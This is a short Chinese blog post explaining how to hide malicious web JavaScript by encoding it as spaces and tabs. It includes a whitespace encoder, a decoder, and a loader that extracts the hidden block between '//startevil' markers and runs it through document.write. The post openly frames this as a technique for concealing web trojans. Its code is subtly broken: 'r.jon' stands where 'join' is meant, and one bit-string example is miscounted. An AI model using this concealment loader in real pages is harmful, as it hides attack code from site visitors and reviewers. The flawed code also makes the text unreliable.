原文地址:http://www.woyigui.cn/hydrate/
我们先看如下加密函数:
JavaScript代码
- function dehydrate(s) {
- var r = new Array();
- for (var i=0; i < s.length ; i++)
- {
- for (var j=6; j >= 0 ; j-- )
- {
- if (s.charCodeAt(i) & (Math.pow(2,j)) )
- {
- r.push(' ');
- } else {
- r.push('\t');
- }
- }
- }
- r.push('\n');
- return r.join('');
- }
将一个包含任意字符的字符串转换为一个只包含空白字符的字符串,而这些空白字符实际上表示了原字符串中对应字符的字节流。一个空格表示1,一个制表符(Tab)表示0,而换行符则表示字节流的结束。例如:a = 空格 空格 制表 制表 制表 制表 空格开头 = 110001 = 97 .我们对一段网马进行加密后变成如下代码:
JavaScript代码
- //startevil
- //endevil
请注意,注释的中间关非空白,而是加密后的代码。我们将其代码放入网页中,然后使用解密函数进行解密:
JavaScript代码
- function hydrate(s) {
- var r = new Array();
- var curr = 0;
- while(s.charAt(curr) != '\n') {
- var tmp = 0;
- for (var i=6; i>=0 ; i-- )
- {
- if (s.charAt(curr) == ' ')
- {
- tmp = tmp | (Math.pow(2,i));
- }
- curr++;
- }
- r.push(String.fromCharCode(tmp));
- }
- return r.jon('');
- }
当我们把代码放入页面时,还要对其取出:
JavaScript代码
- var html = document.body.innerHTML;
- var start = html.indexOf("//startevil");
- var end = html.indexOf("//endevil");
- var code = html.substring(start,end);
- document.write(hydrate(code));
这种使用空白字符串的加密方法,能够在光天化日之下非常有效的隐藏恶意的Javascript代码。

